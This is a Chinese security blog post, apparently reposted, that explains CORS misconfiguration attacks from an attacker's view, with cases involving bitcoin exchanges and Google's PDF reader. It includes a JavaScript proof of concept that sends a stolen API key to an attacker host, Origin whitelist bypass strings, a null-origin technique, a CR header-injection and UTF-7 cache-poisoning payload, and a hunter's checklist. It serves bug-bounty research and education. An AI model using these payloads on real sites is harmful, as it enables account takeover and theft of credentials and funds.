一个响应头配错,我忍住了提走比特币的冲动

admin 2026-09-16 04:26:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文从攻击者视角系统剖析CORS配置中的高危漏洞,包括反射Origin、白名单正则写错、null源、解析器差异、协议不限制及Vary:Origin缓存中毒等利用手法,并通过比特币交易所和GooglePDF阅读器等真实案例展示攻击路径。文章指出CORS规范限制迫使开发者动态生成响应头,导致漏洞频发,并给出排查技巧与防御建议,强调理解规范细节对发现此类漏洞的重要性。 综合评分: 85 文章分类: WEB安全,漏洞分析,红队,安全意识


一个响应头配错,我忍住了提走比特币的冲动

原创

升斗安全XiuXiu 升斗安全XiuXiu

升斗安全

2026年9月15日 07:58 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

【文章说明】

  • 目的:本文内容仅为网络安全技术研究与教育目的而创作。
  • 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
  • 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
  • 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

📌 这篇讲什么:CORS 几乎每个 API 都在用,但绝大多数人对它的危险认知只停留在”别用通配符”。这篇我从攻击者的视角,把 CORS 配置里那些真正值钱的坑挨个走一遍:反射 Origin、白名单正则写错、null 源、解析器差异、协议不限制,以及被所有人忽略的 Vary: Origin 缓存中毒。全程真实案例,包括几家比特币交易所和 Google 的 PDF 阅读器。看完了你会发现,这类洞不需要复杂利用链——理解规范,加上一点点细心,就够了。


一、先花一分钟,把 CORS 说清楚 🔍

跨源资源共享(CORS),本质上是一种让浏览器主动放宽同源策略的机制,好让不同站点之间能跨域通信。

它最常见于 Web API,但在今天这种前后端分离、动不动五六个域名的复杂站点里,它几乎无处不在。

大家都知道某些 CORS 配置很危险,但它那些要命的细微之处,被误解的程度远超想象。这篇文章要干的事,就是教你怎么用黑客的眼光去审视一个 CORS 配置——以及怎么顺走别人的比特币。

二、黑客眼里只有两个响应头

一个网站靠下面这行开启 CORS:

Access-Control-Allow-Origin: https://example.com

意思是:允许 example.com 这个源的页面,让访问者的浏览器向本站发起跨域请求并读取响应——这事儿同源策略本来是死活不让干的。

但要注意一个前提:默认情况下,这个请求不带 Cookie,也不带其他凭据。

也就是说,光有这一行,你偷不到 CSRF token 这类跟用户身份绑定的东西。想带上凭据,服务器得再加一句:

Access-Control-Allow-Credentials: true

这两行一凑齐,信任关系就成立了。翻译成人话:example.com 上随便一个 XSS,都能直接打到这个站点身上。

三、规范挖的三个坑,逼着所有人去写 bug 💥

信任单个源很简单。问题来了——如果我要信任多个源呢?

规范说,你可以用空格分隔列一串:

Access-Control-Allow-Origin: http://foo.com http://bar.net

很好。可惜,没有任何一个浏览器真的支持它。

那我用通配符信任所有子域总行吧:

Access-Control-Allow-Origin: *.portswigger.net

也不行。CORS 里唯一的通配符就是*,没有”半个通配符”这回事。

还有第三个坑,藏得更深。有人想干脆一了百了,直接这么写:

Access-Control-Allow-Origin: *      Access-Control-Allow-Credentials: true

浏览器会当场给你一巴掌:

Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.

规范里写得清清楚楚,Mozilla 的文档也白纸黑字:响应带凭据的请求时,服务器必须指定一个具体的域,不能是通配符。换句话说,一旦用了通配符,Allow-Credentials 这个头实际上就被废掉了。

于是,一个经典的死循环形成了:

规范不给多源,不给子域通配,通配符又和凭据互斥 → 开发者只能自己写代码动态生成这个头 → 于是 bug 遍地开花。

顺带说个排查技巧,特别好用:

  • 你看到响应里带着 Access-Control-* 头,但没有声明具体的源——这强烈暗示服务器在拿你的输入拼这个头;
  • 还有些服务器只有收到 Origin 请求头时才回 CORS 头——所以你扫站的时候如果不主动带 Origin,这个洞会从你眼皮底下溜过去。

四、第一桶金:把私钥偷出来 ⚡

既然这么多网站都在拿用户输入拼白名单,那能出什么事?我挑了几个有赏金计划的站点实测了一下。

先说明一句:下面提到的每一个洞,都被大量赏金猎人漏掉了。这不是运气,是方法问题。

我首先复现了 Evan Johnson 的发现——很多应用在反射 Origin 之前,压根不做任何校验。然后就撞上了一家比特币交易所(应要求匿名):

GET /api/requestApiKey HTTP/1.1     Host:      Origin: https://fiddle.jshell.net    Cookie: sessionid=...     HTTP/1.1 200 OK      Access-Control-Allow-Origin: https://fiddle.jshell.net      Access-Control-Allow-Credentials: true{”[private API key]”}

看清楚:我随便塞了个 Origin,它原样反射回来,还贴心地加上了 Allow-Credentials: true。用户的私有 API 密钥就这么躺在我面前。

写个 PoC 也就十行的事:

var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://btc-exchange/api/requestApiKey',true);req.withCredentials = true;req.send();function reqListener() {  location='//atttacker.net/log?key='+this.responseText;};

拿到 API Key 之后能干什么?关掉账户通知、开启 2FA 把真正的主人锁在门外、然后把比特币提到任意地址。

一个响应头配错,换来一整个钱包的控制权。

我按捺住了卷款跑路的冲动(认真的,那一下挺考验人性),把它报给了他们的赏金计划。20 分钟,修补完成。这个速度在赏金圈里属于让人想给对方送锦旗的级别。

五、白名单正则的两种经典写错法 🧩

有些网站倒是有校验意识,但校验本身写错了。URL 解析这个事,堪称程序员的百慕大三角。

错误一:只查结尾。

某站点(化名 advisor.com)信任所有以 advisor.com 结尾的源。于是:

definitelynotadvisor.com  ✅ 通过

错误二:只查开头。

第二家比特币交易所(化名 btc.net)信任所有以 https://btc.net 开头的 Origin。于是:

https://btc.net.evil.net  ✅ 通过

可惜这家站点在我把 PoC 搓出来之前,突然永久停运了。原因我不做推测。(真的不做。)

给猎人的提醒:测白名单时,endsWith 和 startsWith 是必测的两类。构造 目标.com.evil.net、evil目标.com、目标[email protected]、目标.com.evil.com 这几个变体,命中率比你想的高得多。

六、null 源:一个被写进规范的礼物 🎁

细心的读者可能注意到了,规范里还提到了一个特殊的源:null。

它由重定向触发,另外(据 StackOverflow 上的说法)本地 HTML 文件也会拿到它。也许正是因为”跟本地文件有关”这个听起来人畜无害的联想,相当多的网站把null加进了白名单——包括 Google 的 PDF 阅读器:

GET /reader?url=zxcvbn.pdf      Host: docs.google.com      Origin: nullHTTP/1.1 200 OKAccess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true

以及,第三家比特币交易所。

这对攻击者来说简直太好了,因为任何网站都能用一个沙箱 iframe 轻松拿到 null 源:

*cors stuff here*'>

在这家交易所上,一串 CORS 请求就能把用户钱包的加密备份拖下来,然后离线暴力破解钱包密码——GPU 面前,弱密码撑不了多久。谁的密码不够硬,谁的比特币就是我的。

这种配置错误出奇地常见,你去找,就一定能找到。而且”null”这个词选得实在有点倒霉:某些应用白名单没配好、变量为空时,输出直接就是——

Access-Control-Allow-Origin: null

好家伙,白名单自己送上门。

七、破坏解析器:Safari 那颗反引号 🔓

大多数网站用字符串匹配校验 Origin,少数会把它当作 URL 去解析。后者反而给了攻击者更大的空间。

这项研究发布三年后,Bitwis3 分享了一招,利用的是Safari 对域名中特殊字符的惊人容忍度。在 Safari 眼里,下面这是个合法 URL:

http://example.com%60.hackxor.net/static/cors.html

而从这个 URL 发出的 CORS 请求,带的 Origin 是:

Origin: http://example.com`.hackxor.net/

反引号把解析器和浏览器的理解劈成了两半:如果目标站点选择”解析”这个头,它可能认为主机名是 example.com,于是放心大胆地反射回来。哪怕对方用的是受信任主机名白名单,Safari 用户照样被打。

这个提示之后我在真实环境里试过,确认对一系列真实系统有效。

补充一句:如果你能用 _ 代替反引号,那 Firefox 和 Chrome 用户也在射程之内了。这部分在《Advanced CORS Exploitation Techniques》里有更详细的记录,想深挖的可以去翻。

八、把 HTTPS 也一起破坏掉 🔓

下面这两个白名单缺陷经常成对出现,属于”买一送一”:

其一,无脑信任所有子域——连不存在的子域都信。

现实里,很多公司的某个子域指向的是第三方托管的应用,而这些第三方的安全实践……懂的都懂。你敢打赌这些子域现在没有 XSS、以后也永远不会有 XSS?这个赌注下得太大了。

其二,不限制源的协议。

一个站点明明走 HTTPS,却 happily 接受来自 http://wherever 的 CORS 交互。那么一个能做主动中间人(MITM)的攻击者,几乎可以完全绕开它这套 HTTPS。

这里有个反直觉的点:HSTS 和 Secure Cookie 对这种攻击基本帮不上忙。很多人以为上了 HSTS 就万事大吉,其实根本不是一回事。演讲视频里有完整的演示,出来之后强烈建议看一眼。

九、没有凭据,也照样能打 💡

前面说的都需要带凭据。那 Allow-Credentials 没开呢?是不是就没戏了?

大多数情况下确实打折扣:没有 Cookie,你就没法冒充用户,让受害者浏览器发请求跟你自己发也就没区别了。连 token 固定都做不了——浏览器会忽略响应里新设置的 Cookie。

但有一个例外值得单独记住:当”受害者的网络位置”本身就是一种身份认证时。

说白了就是——把受害者的浏览器当代理用。绕过基于 IP 的访问控制,捅进内网应用。

从影响上看,这跟 DNS 重绑定是一类东西,但利用难度低得多。内网里那些”只在办公网能开”的系统,遇到这种情况就是纸糊的墙。

十、Vary: Origin —— 连 W3C 自己都忘了的那一行 ⚠️

CORS 规范的”实现注意事项”里,明确要求开发者在动态生成 Access-Control-Allow-Origin 时,同时返回:

Vary: Origin

听起来很简单吧?问题是大量的人忘了,包括 W3C 自己。于是就有了 Reto Gmür 那句精彩吐槽:

我必须说,如果连 W3C 都没能正确配置其服务器,那并不能让我对很快会有更多站点支持 CORS 这件事很有信心。

忽略它通常会怎样?大多数时候只是东西莫名其妙地坏掉。

但在特定条件下,它能撑起相当严重的攻击——缓存中毒。

客户端缓存中毒

先设想一个页面:它把某个自定义请求头的内容不做编码地反射出来。

GET / HTTP/1.1    Host: example.com    X-User-id:HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: X-User-idContent-Type: text/html...Invalid user:

没有 CORS,这东西不可利用——你没办法让别人的浏览器跨域发出 X-User-id 这个头。有了 CORS,我们能做到。

不过单是这样也没啥用:响应不会被渲染,注入的 JS 跑不起来。但如果没指定Vary: Origin,这个响应可能就被塞进浏览器缓存里,等受害者亲自导航到这个 URL 时,直接原样显示出来。

一个本来够不着的反射型 XSS,就这么变成了”存储型”。而且这类攻击走的是客户端缓存,实际成功率相当高。

服务端缓存中毒

如果条件再好一点,我们还能把危害升级成真正的存储型 XSS。

思路是这样:应用反射 Origin 时,如果连 \r 这种非法字符都不检查,那么对于IE/Edge 用户来说,这实际上就是一个 HTTP 响应头注入——因为 IE 和 Edge 把 \r(0x0d)当成合法的头部终止符:

GET / HTTP/1.1Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

IE 会把响应理解成:

HTTP/1.1 200 OKAccess-Control-Allow-Origin: zContent-Type: text/html; charset=UTF-7

当然,你没法让受害者的浏览器主动发出这么畸形的头,所以这一步不能直接打。但——我可以自己在 Burp 里手动构造这个请求,而服务端的缓存可能会把这个响应存下来,然后发给后面所有的人。

我用的 payload 是把页面字符集改成 UTF-7。懂 XSS 的朋友知道,UTF-7 在制造 XSS 这件事上,是个出了名的好帮手。

十一、最后聊聊:为什么这个坑永远填不完 🤔

调研刚开始的时候,我对”动态生成 ACAO 头”的站点数量感到震惊。

追根溯源,还是 CORS 那两条硬限制——一个头里不能写多个源,也不支持子域通配。开发者没得选,只能自己拼字符串,于是上面所有实现缺陷的风险,全被转嫁到了他们头上。

我个人的看法是:如果规范当初允许源列表和部分通配符,动态生成这类漏洞会少掉一大半。把简洁和安全对立起来,最后往往两头不讨好。

浏览器的改进方向,我认为有这几个:

  1. 把”通配符 + 凭据”的例外规则,同样应用到 null 源上。目前 null 源比通配符源危险得多,这一点我猜很多人听了会意外;
  2. 尝试阻止我称之为”反向混合内容”的东西——HTTP 站点用 CORS 从 HTTPS 站点偷数据。这个改动会不会砸坏现有站点,我说不准。

说到底,CORS 这件事给我的最大启示是:设计一套既简洁又安全的规范,难到超出所有人的预期。浏览器把复杂度推给开发者,开发者就会用 bug 把它还回来。

十二、值钱的从来不是技巧 🧠

做点实战经验分享,也算是我给猎人的一份排查清单。拿到一个目标,按这个顺序过一遍:

  1. 先带 Origin: https://evil.com发一遍所有关键请求,看响应里有没有 Access-Control-Allow-Origin被原样反射,且带了 Allow-Credentials: true。这是最容易中的一等奖。
  2. 测白名单逻辑:目标.com.evil.net、evil目标.com、目标[email protected]、反引号、_,全打一遍。
  3. 测 null:Origin: null,一发入魂的概率比你以为的高。
  4. 看有没有 Vary: Origin。没有的话,顺手测一下客户端/服务端缓存中毒。
  5. 看协议和子域:接不接受http://?信不信任不存在的子域?
  6. 没凭据也别急着放弃:想想内网,想想基于 IP 的认证,把受害者浏览器当代理用。

最后一句真心话:严重的漏洞,并不总是需要高超的技巧和复杂的利用链。对规范的基本理解,加上一点点别人没有的细心,就足够了。

你和目标之间隔着的,往往不是技术,是耐心。

十三、几句说明 ⚠️

文中涉及的所有漏洞均已修复并获授权披露,交易所与站点均按要求匿名。技术细节仅用于安全研究与授权测试,请勿用于未授权目标。


写到这里,照例求个三连。

这篇从翻演讲稿到把每个请求头对一遍,花了我一整个晚上。如果它让你下次扫站的时候,会记得主动带一个Origin头,那这几个小时就没白花——这一个小动作,可能就是别人漏掉、而你捡到的那个洞。

  • 觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到;
  • 顺手**「转发」**给群里那几个还在问”CORS 有啥好挖”的兄弟,让他们开开眼;
  • 还没**「关注」**的朋友点个关注,压箱底的笔记我会陆续整理发出来,只发在这里;
  • 也欢迎**「推荐」**给身边做开发、做安全的朋友,一起少写点会被打脸的白名单。

#CORS #渗透测试 #赏金猎人 #Web安全 #漏洞挖掘 #经验分享 #AppSec #XSS #缓存中毒 #内网渗透


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:升斗安全 升斗安全XiuXiu 升斗安全XiuXiu《一个响应头配错,我忍住了提走比特币的冲动》

评论:0   参与:  0